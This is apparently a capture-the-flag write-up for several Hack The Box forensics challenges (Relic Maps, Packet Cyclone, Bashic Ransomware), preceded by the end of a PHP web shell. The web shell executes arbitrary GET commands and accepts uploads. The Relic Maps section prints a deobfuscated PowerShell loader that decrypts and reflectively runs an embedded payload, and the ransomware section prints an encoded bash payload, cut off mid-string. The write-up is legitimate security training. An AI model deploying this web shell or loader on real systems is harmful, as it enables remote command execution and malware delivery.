echo "<input type='file' name='fileToUpload' id='fileToUpload'>\n<br><input type='submit' value='Upload File' name='submit'>";
echo "</div>";

if (isset($_POST['submit'])) {
 $uploadDirectory = $dir.'/'.basename($_FILES['fileToUpload']['name']);
 if (file_exists($uploadDirectory)) {
 echo "<br><br><b style='color:red'>Error. File already exists in ".$uploadDirectory.".</b></br></br>";
 }
 else if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $uploadDirectory)) {
 echo '<br><br><b>File '.$_FILES['fileToUpload']['name'].' uploaded successfully in '.$dir.' !</b><br>';
 } else {
 echo '<br><br><b style="color:red">Error uploading file '.$uploadDirectory.'</b><br><br>';

 }

}

if (isset($_GET['cmd'])) {
 echo "<br><br><b>Result of command execution: </b><br>";
 exec('cd '.$dir.' && '.$_GET['cmd'], $cmdresult);
 foreach ($cmdresult as $key => $value) {
 echo "$value \n<br>";
 }
}
echo "<br>";
?>

<table class="table table-hover table-bordered">
 <thead>
 <tr>
 <th>Name</th>
 <th>Owner</th>
 <th>Permissions</th>
 </tr>
 </thead>
 <tbody>
<?php
foreach ($dirs as $key => $value) {
 echo "<tr>";
 if (is_dir(realpath($dir.'/'.$value))) {
 echo "<td><a href='". $_SERVER['PHP_SELF'] . "?dir=". realpath($dir.'/'.$value) . "/'>". $value . "</a></td><td>". posix_getpwuid(fileowner($dir.'/'.$value))[name] . "</td><td> " . printPerms($dir) . "</td>\n";
 }
 else {
 echo "<td><a href='". $_SERVER['PHP_SELF'] . "?download=". realpath($dir.'/'.$value) . "'>". $value . "</a></td><td>". posix_getpwuid(fileowner($dir.'/'.$value))[name] ."</td><td> " . printPerms($dir) . "</td>\n";
 }
 echo "</tr>";
}
echo "</tbody>";
echo "</table>";

?>

</div>
</html>

Looking at the comment, we can see the flag there.

Flag is: HTB{W0w_ROt_A_DaY}

Relic Maps

Given file: Get it here!
Description: Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what’s going on and get the flag. The link is to http://relicmaps.htb:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).
Note: This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.
Category: Forensics
Difficulty: Medium

From the link attached to this challenge, we get an Onenote file named relicmaps.one. Analyze the file, we get 2 suspicious links, which lead us to 2 different files, http://relicmaps.htb/uploads/soft/topsecret-maps.one and http://relicmaps.htb/get/DdAbds/window.bat.

I did some analysis on the file topsecret-maps.one, and there are only some PNGs inside it. In the window.bat file, we are given a Powershell Script. You can run it directly, but I choose to deobfuscate using Python to understand its flow.

dict = """
%eFlP%"ualBOGvshk=ws"
%eFlP%"PxzdwcSExs= /"
%eFlP%"ndjtYQuanY=po"
%eFlP%"cHFmSnCqnE=Wi"
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"""
ls = dict.split('\"')
txt = {}
k = 0
tmp = ''
enc = '%CJnGNBkyYp%%UBndSzFkbH%%ujJtlzSIGW%%nwIWiBzpbz%%cHFmSnCqnE%%kTEDvsZUvn%%JBRccySrUq%%ZqjBENExAX%%XBucLtReBQ%%BFTOQBPCju%%vlwWETKcZH%%NCtxqhhPqI%%GOPdPuwuLd%%YcnfCLfyyS%%JPfTcZlwxJ%%ualBOGvshk%%xprVJLooVF%%cIqyYRJWbQ%%jaXcJXQMrV%%pMrovuxjjq%%KXASGLJNCX%%XzrrbwrpmM%%VCWZpprcdE%%tzMKflzfvX%%ndjtYQuanY%%chXxviaBCr%%tHJYExMHlP%%WmUoySsDby%%UrPeBlCopW%%lYCdEGtlPA%%eNOycQnIZD%%PxzdwcSExs%%VxroDYJQKR%%zhNAugCrcK%%XUpMhOyyHB%%OOOxFGwzUd%%dzPrbmmccE%%xQseEVnPet%%eDhTebXJLa%%vShQyqnqqU%%KsuJogdoiJ%%uVLEiIUjzw%%SJsEzuInUY%%gNELMMjyFY%%XIAbFAgCIP%%weRTbbZPjT%%yQujDHraSv%%zwDBykiqZZ%%nfEeCcWKKK%%MtoMzhoqyY%%igJmqZApvQ%%SIQjFslpHA%%KHqiJghRbq%%WSRbQhwrOC%%BGoTReCegg%%WYJXnBQBDj%%SIneUaQPty%%WTAeYdswqF%%EdLUuXiTNo%%rVOFKTskYR%%nMLIkcyFZj%%jtkYEPXtKX%%RWcegafVtf%%KhyyrSrcKr%%zDUDeXKPaV%%VZAbZqJHBk%%XClTzcVMGM%%xVIsxobyZi%%qpUykKHwzb%%iKAAuWsbec%%cYinxarhDL%%olHsTHINJO%%uynFENuiYB%%WauWfrgGak%%tzSNMWchGN%%oFspIELDJK%%FijcPoQLnC%%AbMyvUGzSH%%LmCknrHfoB%%GDXqElqPYy%%gqUdnmSTUN%%YlKbYsFYPy%%GLwLVWewUj%%EQAuBusyXb%%yOkBDuSVrl%%FraARuTjiq%%hwZKiiLqAE%%ahbOZSBViB%%djeIEnPaCg%%AiqHTcPzsv%%JCuNlxqlBZ%%TYbHmXrqgV%%sLNudRRtUX%%dbDMRBPrxg%%XEyDmChJvW%%KytxcYPZKt%%GWrDWSvoPL%%haSZYOmkiA%%JhYYmEHfJT%%LPGeAanVGt%%hTTJOKGuzo%%MFRjJyYsrs%%kpEWZrtOzX%%BrDOtQoojB%%YnGvhgYxvb%%cUDojRpXKx%%rSVBNvbdPT%%kJjQuXIjOT%%tVtxVGNpFB%%BqEMjgsfHM%%fVHBRsLNUl%%jgiQdwyxFg%%HLynrUfwGo%%FCBcNynRGD%%VavtsuhNIN%%HUAAetwukX%%nogFGGEgdF%%iHRclHpeVX%%MrNTGKcbYu%%bTHJpHTPMM%%QbKdEZdxpx%%drymkVAnZW%%DDiJEpaiME%%OAsjgKHKoH%%HFLAqJuuyu%%gFQQimTbzp%%YULKJDZpgz%%oQYrpYRHsU%%VGKsxiJBaT%%RGlZIMTaRM%%JenYfqHzBk%%vmIEtsktnA%%TypmIIEYJC%%eQPFkQsLmh%%AkaPyEXHFq%%BANrSlObpx%%LIQYgFxctD%%ZygfZJxAOd%%KXttaDcyMZ%%brwOvSubJT%%hVncqdtHrj%%OonlMOpxYC%%CZpuCIcrKh%%owRVWPJqcX%%jugDlMdkcG%%DXdgqiFTAH%%acXjUrxrpX%%eYuashSMjP%%ESpdErsKEO%%kQQvXhxXIT%%pLUeCEDcNj%%pTKKchMUFD%%ZMNBNnhYdl%%KVdpASYkBZ%%OpWuyrggtP%%uDsfTCYsro%%wEZCzuPukj%%jCsFOJQsdv%%hbFnQgCXwX%%UFSmCjquVd%%BMVjGSkNrk%%MFpVhvZMMs%%SRYmoDJgcF%%svwZUufvHX%%WPGlloqWfh%%kEHDlJOIVc%%jdKMRqipbM%%pEeOvclMbZ%%nMbUuONTOk%%GwAFOSfUtV%%gbVsRGzTij%%ybHVOwcPrc%%CpAQgSdzaC%%XqtgTmRIdO%%pUKFMEPFQs%%QpDqsQAemY%%CZTFliIBbC%%EuMCNHEVeC%%dyJHMHMcNc%%LNwemqbftD%%VnDoNvCbDL%%mFZJVdqlTD%%vGOYQQYIpx%%GzBAHPVuTq%%fLycQgNMii%%ZPlPiozEyW%%xULgeMdzcg%%iVrCyJhMiJ%%dlzhxQnMss%%pqWXTkasXe%%doKcadyJqy%%hNwOTmvEJo%%yqhJQSZuJo%%JPOdGPAwht%%rEvTlCThdH%%PwJJFMgamh%%eeacPrYshd%%LYxpWUVnyn%%YRqcyngfyU%%IAkZpnEseT%%DAaZVQYtML%%QTBYjmNXEB%%lSUnvlNyZI%%pCjFJxRqgH%%oMsMdPYmPd%%AGOCIKFMEK%%dAuevoJWoL%%uwRWnyAikF%%mBIWiJNHWZ%%RfMwENsorP%%gbXeIdPSoj%%kxCYxBSxVM%%AbZpTpKurz%%glRvzlEEoe%%TVsNOuCNZd%%VUsEoebHks%%tuAPcYGhzl%%WojQSFImBz%%NXvoEmTmgu%%jWtWLzuDKP%%NvnNgHLBLJ%%vPgKEvZmlQ%%ftaecaUnft%%lfCLMrJHhW%%ArAxZuPIrp%%zhsTKtujLg%%MxwsyqmvYm%%MsfoqNTDfI%%klVPUdMJas%%XzWakcViZI%%htJeDhbeDW%%ARecVABHyu%%EDuGpmwedn%%SKEwAQBRlN%%bIgeRgvTeJ%%AnKEeEZdOq%%KXapePmHCe%%YKwLsVwqOj%%QCZuMFaZsV%%RycUceHQZc%%TOqZKQRZli%%hIpFAiXGDz%%PmpGnAHBIo%%nGqMpclaJV%%NbOjNijxuU%%hbnAmGyJMk%%jpqWVBsCpx%%WXWHLOygSe%%rjhOhltPzI%%DCnzMxKRnm%%QGiWXkfFPy%%isQISZiBPJ%%iCcGUuJxVn%%dGSGnKbkQW%%gNabAkLFGN%%pibEdoDBbD%%AHKCuBAkui%%YYKSCuCbgJ%%IeRiYUFnCZ%%hzjnwzdyGY%%KAlyOryibJ%%MBvrUwPCDz%%WmHvayPxwd%%reviZiSttH%%wwmTmFdRsZ%%JBUgbyTPxp%%BaMYsIgnsM%%DwiWdAaOiv%%vXewtPjogB%%odWdfvJnBE%%yPzFwnsYdA%%xfHbUEWpFC%%ySgQyAAfQH%%QMmDXFyyag%%xllGdjvUjB%%zuIYfGJIhV%%MmhvJKSdep%%fxpyemHAMo%%eFWpiweoyr%%WQqetkePWs%%qsPTvcejTS%%YiVTQhqRnm%%GEFNspgkfU%%iREuYMPcTg%%rVuFsOUxnm%%UmCJMMMcBg%%VUeZKgDBUe%%roXhULjavE%%uIWSZVpUHl%%ZNBNkxQuUl%%ktDjVGpvOa%%CMHWMmXlZO%%RITIeDNkWx%%UPfjubfNXt%%GTgGJngEbX%%zFvgtBzUer%%TfyrgNGxBL%%hknFiXCnZQ%%xijYXotZPT%%BlIFABuPAW%%GJcpQprPXv%%YmUoUKWAtR%%tHHIjVCHeH%%DNNdkNfTiI%%XEcuUpquLQ%%EUwICZcugV%%MJKqSlzRdg%%FcrKUOEnOU%%EiWocIreAk%%LLNnWnTLBJ%%QzqEkBCLON%%uOGlqENvnk%%TuqTvTpeOG%%USLedfRsdA%%fFqNPWfBWr%%AyyrPvjwjr%%mxXhSCdBil%%MusMeoeDey%%OOiwgwuupI%%WvjMoIIiUn%%TEtLFfgLmA%%rFsKCxpAbv%%hImzprlFyw%%GVIREkvxRa%%qIhOqqdyjR%%shhyfkrTvn%%UAnQUvXBfs%%bSIafzAxiZ%%oNvGdyNkLt%%SCbDgQuqTU%%tBsRPAyhtG%%KUKwZheGNw%%INPLAzQfUo%%ekEoGMuERC%%aGQeJYSFDZ%%LODxmGMGqq%%KtmeCApwQn%%MAPkvbWKbC%%HlBVDpGgba%%ZNnASGtLCj%%IwOqmlYsbl%%JbFOJyRrBm%%TiuQnZmosP%%HkiSTlwlIs%%rofQqYizRu%%OckpqzbYcn%%YJZmDySMUy%%cGJiVEdEzp%%QNxYaFZSBu%%jxjvtHoTnR%%fvEtritbuM%%wxzMwkmbmY%%yZlAoExoOn%%pjrIjvjdGR%%mYyPXMYwYi%%vnHosfjdeN%%LfngwmfRCb%%bivuMABwCB%%GapFScCcpe%%lfYSggLrsL%%GhTXhmRnCR%%ENADhKPHot%%KdByPVjCnF%%PjdRUyhsyG%%kpzxAxFvLw%%rddZbDFvhl%'
for i in enc:
 if i != '%':
 tmp += i
enc = tmp
for i in range(0, len(ls), 1):
 if '=' in ls[i]:
 try:
 txt[ls[i][0:10]] = ls[i][11:]
 enc = enc.replace(ls[i][0:10], ls[i][11:])
 except:
 continue
print(enc)

Which, results in this script:

copy C:WindowsSystem32\WindowsPowerShell
1.0powershell.exe /y execd exe -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3); break; }; };$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);$BacUA = New-Object System.Security.Cryptography.AesManaged;$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');$Nlgap = $BacUA.CreateDecryptor();$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);$Nlgap.Dispose();$BacUA.Dispose();$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);$bTMLk = New-Object System.IO.MemoryStream;$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);$NVPbn.CopyTo($bTMLk);$NVPbn.Dispose();$mNKMr.Dispose();$bTMLk.Dispose();$uZOcm = $bTMLk.ToArray();$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);$PtfdQ = $gDBNO.EntryPoint;$PtfdQ.Invoke($null, (, [string[]] ('%*')))

Short analysis on the script’s intention:

Step 1: Initiates AES decryptor using CBC mode, PKCS7 padding mode, key and IV given.
Step 2: Decrypts the encrypted payload (via Window.bat) using the above settings.
Step 3: Decompresses GZip, then run the output as a binary.

We can use this Python script below to get the binary that I have stated in step 3 above.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
import gzip


key = base64.b64decode('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=')
iv = base64.b64decode('2hn/J717js1MwdbbqMn7Lw==')

encrypted_message = base64.b64decode('SEWD/RSJz4q93dq1c+u3tVcKPbLfn1fTrwl01pkHX3+NzcJ42N+ZgqbF+h+S76xsuroW3DDJ50IxTV/PbQICDVPjPCV3DYvCc244F7AFWphPY3kRy+618kpRSK2jW9RRcOnj8dOuDyeLwHfnBbkGgLE4KoSttWBplznkmb1l50KEFUavXv9ScKbGilo9+85NRKfafzpZjkMhwaCuzbuGZ1+5s9CdUwvo3znUpgmPX7S8K4+uS3SvQNh5iPNBdZHmyfZ9SbSATnsXlP757ockUsZTEdltSce4ZWF1779G6RjtKJcK4yrHGpRIZFYJ3pLosmm7d+SewKQu1vGJwcdLYuHOkdm5mglTyp20x7rDNCxobvCug4Smyrbs8XgS3R4jHMeUl7gdbyV/eTu0bQAMJnIql2pEU/dW0krE90nlgr3tbtitxw3p5nUP9hRYZLLMPOwJ12yNENS7Ics1ciqYh78ZWJiotAd4DEmAjr8zU4UaNaTHS8ykbVmETk5y/224dqK1nCN/j/Pst+sL0Yz5UlK1/uPmcseixQw+9kfdnzrjCv/6VOHE0CU5p8OCyD8LEesGNSrT0n76Vc0UvUJz0uKWqBauVAcm9nzt8nt6sccLMzT+/z4ckTaNDMa3CHocd2VAO0iYELHhFmWUL1JZ6X7pvsuiUIJydYySY8p0nLQ4dwx/ZIwOQLDODRvWhHDDIB+uZYRD5Uq6s7lG+/EFkEgw2UZRaIUj4C0O8sFGHVVZIo/Sayn5T4xcX+s73o7VdXJSKT+KyR0FIIvuK/20zWMOn76PXY3UhF9s7JuSUUS+AVtAq50P6br8PjGhwD+PjoElT77AwfmrzBLib05mcofiWLe4WcAJQvR10iWAPTiSe7gIpzNgr3mr7ZCBSLkcPgY9N4aFGGbNRuH+Y4d9NWax7QPqicsGsmsKrfzQ9RZn+mUslsar1RuRoF569RxveMR7mhE3GajkxNP4y3J85BD0B/eRqw6V9odMyBv+i8fYqx359TDCp7XJ7BojuXnwxniIXFbZOPbW+xlRMc2nVQWupQuy8Ebnwzh0/3AYStL+RNDMEDLXizppqR8euPtSQnFSYanmOTh3ZA5KY03LCq0zkzW1Fxs8AFQwWq+C2K9x3ZFX+5HjbjHlSNRhMONNLrAJETSaaeTWD7ZAECSpsEivtwITr15qjzu4b5dIt9cgwycioyJfIEHoo9d2tqMqGP92oR0SBifTTw13kFDzC7nCLu6ZHVe2wML8rQTcWFnpY74DzWj1suNmWXlwXLGhKPHtBCrh3t9zrroPkufl0+pUZgapekMGreS+jZ4MJW22ZD7ZonO47+8fAlA7sNIcoFNNeBdrDzQe+YJFFnywKU+BL10SHXZPkbgwSGmzo4UPnuiHkThJ5igR4HI4W9YACDw9EjzbBD+jkNd1oZv0MqxMOres2CshH4JzE6Z0GYH+AgIjvPBRBrdOQ/6kc1o6GZqzd9CTwNg4ZsFta5JzIoRVoGEztgoP2rBsRnZiipIveaHnFfIQeDbkt5BA1XjVKIovw+jfcjZz7xv93qDY7EV70J12pAPe2zhg1lAVCOwc1EJCO7Poickjw8tDpYmltU9/lQdj4UJVgMCZdf1SFUjb3jTitXSKdMuIuDHG2kmPAfpUcyBWDm0Wz1Zo28fLT96z8ylXQ8mETUwesAOYAJOHaHbIsdbLc0FasotsWygeAdUv7hDUxID4LB22nZKY0dlkJmLHDMHr8yXaGJhvCIFKjaRw8eKmyzlF5abSzqVwD9iM4M3mF6q19v1k6pkmBGkQVTHQwb89AOhggTpzDERqgqWb3+cvkmgSnntxZ/4v2SvI5PAEogBBIXtLr+B4DxLNIGtOztHf6VZejnMuqbyyzG9t85qWFYQXAraCHFaRWiX6sLheZ3tP6gdjSG1o0KcvIvcQmFp1dk52X609/GDZHxOrsIje4bokQnWBZmVtKe0ufH/37+EnXDhWuNIBkggsTD5fJwMIEfQ7lu+A5Aayz8w1GH6KXcnE0Y4+riosdtT+u/CqWHWY/TdxdJwzKM9nEsWEupAcxK9NaNlk7cZfuElDRsGluLZiOnXbATfIY7v+bjJYOu29nqG+tr38yI740D/zbXfq+PIR1sC6Oog4PK0X0HfVGlYikoiy2ODjq5CvYL8YZN1I4Brb964PWRavFNvF7tgys9iOmsGZ+RNajZGb1t2+8T4j6ue8z500PYYWzgKaH9nVaiTNw2pbNgrvGXTh4CRHYaRxDOdUGHCKvctv4qeZ7F8XRyecYjWtCbBNpUunLaD1eFUNHN0xN+g/SEG6vrEMnmgVxtQvmDu43N9tnAZ0wjMQ6noI7xS/VXtHcZqoIhzxeT0X4HjCxJ2wRpQo+RuWHREhvWicDl9eY8osMZhj0vG7g6APyCmsviNWoHSwAfQNccakRht/enUQBWXQoRGHB+YlF/4K/vllKAP6EcdLYAArBLIKeF93QOsP8uHzfaVnCO50lifAsBZMIW03k6T34ivLpgT9BXV46b/X29GS9NBivFvLrJDXtBhnrnK7tnYoMB9IakCBj590g/NJDJM4XFlQdhlsoCCiDpFOcKKai7kaEQZQvCi0eKIgKpHwQUK6w9++Mg2181+r6UujZ9GERHah6mEBpGuVl0GkwZMVfqvF/RztPpV5WECA83G0n6PGlrymJ/JyDYkuwXCHoCmOBlayDxfcHddzWqQp89tQfBIpdiK7sJPRhuXLjuLoksLFLe1IhcMKg3yXKTsujR7pUu8V4mzITMriV4XMEV6SCrjcGNv9sq50w9hddvupLPnH0bokSKKtcLeEl5G98xVTyCs1XOnBCAYwqFwSl7ZmsLRfqpDsI/aXexYr7L13IdUgqUuSZDSjdpvdXXqeGAVxdfOthMMR5JPvXX9xQ2WSRvt3BxV5EogiSgD7EhCI1G6S0/o4HOJeBZ0wtV1TNMB4lWW7zOG92wX469z6cvpdViAXI/fP54yOH2aI1CsgkfQZfQBIlmEvluORIi3A03AhHNlJ0egsiO37mQK+mBe3NRbYQ/SALtrJru4pqmf/ssjwrJXzPJs5n67ohsp3PDCkaJI4W993h7OAz4KhjmhKidW1U7zWi9my2+ramDQ72V3AyY3QqJg6q9I3/RAyJdpCWJSeKsgcHPsxcpB3V6QQ2d2nCN/6tDGDJKVAmNI8AsmkqGtSLWoRyAzvmz0rFxt9jSg5vykZt6QQYH569W7/dXk/E/XELNe2XCdSQwJ3KvwdsnDs5RB+pZv3/aIahKz3udawqAZ2RP2saKic8Y52JR7hjA2HLr1lCqqIjB/6788WXYdpXCTC3hNTfNxxYjVh8FhHxoa8kn/oPodlqeO2WA9d114+5MR4xSoPCLl4v4LMgoSXqJyRIQt1erT4F/pR5umE0bnuCAFD0wCJ9nOHjAaOmMjHx4DYqKSmlbU89MCU1jbbkL8n55tl62Tkpr7zKupuIX+gQrYjUs5R3nQBWPWfPZgS5yTtpQ0LGppPNrU3rDU37WoUVJQnAthXwu7wkNmwExhhUVviJWo2SLd5EtLC/AksmKt+TStlVAYq4y4jCCyogyhTOqc9lX3alkE1WCUX3uHybGc4qnw0IQdSEua3sfFd+eNSY+GMm8f5qu9plIsUo0XP/O7s2sHNxblkGSQf4XEADsiedID9OSkr7Gz702720PJkdWjtKj5Og2c234V6vjygzx9/FoeVDdwFTzL2y4xEgkjJeF7XT3Tg3SQooIw8K5VgB4lIBJPPGrcyIZ26t+jdheluc2olR2u790Z3khi9HrtUwmEt3BU1IZWMHegimI3S4c0zxGPEs/GgJ6tbIx/FukAfb4/TF/hI0JG1sGkXn1N8W6fTY2zR85VTCZkDhBj+7hsij+bNnCELVq9utMS87160NmSdIFy/56sEMSfLR3EuFVuBWN2bXVrjM7qw888B37Xh6DV1pApZHZNnU1zXNkQV8kZRSUfpvTcrN93tBOjmSex/ljz81uF0p94c50TbHsjqfFMk+Lz2d62MX6Hhe+YHtRgupGtvAlsEwuYI5JG5WFASI9yp6AGFpEKYnR+RenAdQ+Z5j4gMlZs0LgH2fbHXXAhIqLh6OhVF2H1Z071E2PNFmypT7v6gfMLGVdIHjXuEJj/jFIqvJ1T2q9F7/paM1ZILQK/QvzvPTB6ioCr3A+HOVCDAc5OfG26R0sUIi+asNcsrPU4/tJXSCYCDHzCabozWnCWq5HFwgKopnam3ZHuxS436xs4SZT3v1RvkoLkEZLlrUhwgXlI7PmpRUbnYHo1Fa25lcvM23QOf0oldx0jF8VVNSKWK98G52TK0h1Bpu+3LUfebuGDg/v6u34oEAnzbXVzYoNVuv4fcefd78WBtQbmqkYWpoq9lGc9oR+cMliEgMSCNhPH9kyaYv71/cD/EScRKnDkkoEZLnQ6lyU+mOJ3Or3PZj9reszg=')
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_message = cipher.decrypt(encrypted_message)
decrypted_message = unpad(decrypted_message, 16)

decrypted_message = gzip.decompress(decrypted_message)

io = open('E:/Downloads/out', 'wb')
io.write(decrypted_message)

As a result, we get this binary.

I also double-checked using Detect It Easy (DIE) to see if it is a valid executable or not.

Voilà, we get the executable! I used dnSpy to read the code of the binary. Turned out, the flag is right there to be seen!

Flag is: HTB{0neN0Te?_iT'5_4_tr4P!}

Packet Cyclone

Given file: Get it here!
Description: Pandora’s friend and partner, Wade, is the one that leads the investigation into the relic’s location. Recently, he noticed some weird traffic coming from his host. That led him to believe that his host was compromised. After a quick investigation, his fear was confirmed. Pandora tries now to see if the attacker caused the suspicious traffic during the exfiltration phase. Pandora believes that the malicious actor used rclone to exfiltrate Wade’s research to the cloud. Using the tool called “chainsaw” and the sigma rules provided, can you detect the usage of rclone from the event logs produced by Sysmon? To get the flag, you need to start and connect to the docker service and answer all the questions correctly.
Note: This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.
Category: Forensics
Difficulty: Easy

To get the flag, we need to answer these five question correctly:

1.What is the email of the attacker used for the exfiltration process? (for example: name@email.com)

In the file given, there are 2 YAML files. In these files there is a link which is about detecting Rclone. We can follow what they do to answer our questions.

To find the email, i opened Sysmon Operational event log and looked around the events. Then i found this:

This event will help us to answer first four questions.

Answer: majmeret@protonmail.com

2. What is the password of the attacker used for the exfiltration process?

Answer: FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI

3. What is the Cloud storage provider used by the attacker?

Answer: mega

4. What is the ID of the process used by the attackers to configure their tool?

Answer: 3820

5. What is the name of the folder the attacker exfiltrated; provide the full path.

After reading the link mentioned above, we know that the attacker used command .rclone.exe copy E: remote:data to begin exfiltrated. Hence, I searched for the event that mentions rclone.exe.

Answer: C:\Users\Wade\Desktop\Relic_location

Flag is: HTB{3v3n_3xtr4t3rr3str14l_B31nGs_us3_Rcl0n3_n0w4d4ys}

Bashic Ransomware

Given file: Get it here!
Description: The aliens are gathering their best malware developers to stop Pandora from using the relic to her advantage. They relieved their ancient ransomware techniques hidden for years in ancient tombs of their ancestors. The developed ransomware has now infected Linux servers known to be used by Pandora. The ransom is the relic. If Pandora returns the relic, then her files will be decrypted. Can you help Pandora decrypt her files and save the relic?
Category: Forensics
Difficulty: Hard

We were given four files, including one encrypted flag file, a pcap file and a mem file with their volatility profile which is the zip file.

1. Pcap file

Looking at the pcap file, we can see a long base64 string, i decoded it and get:

gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" '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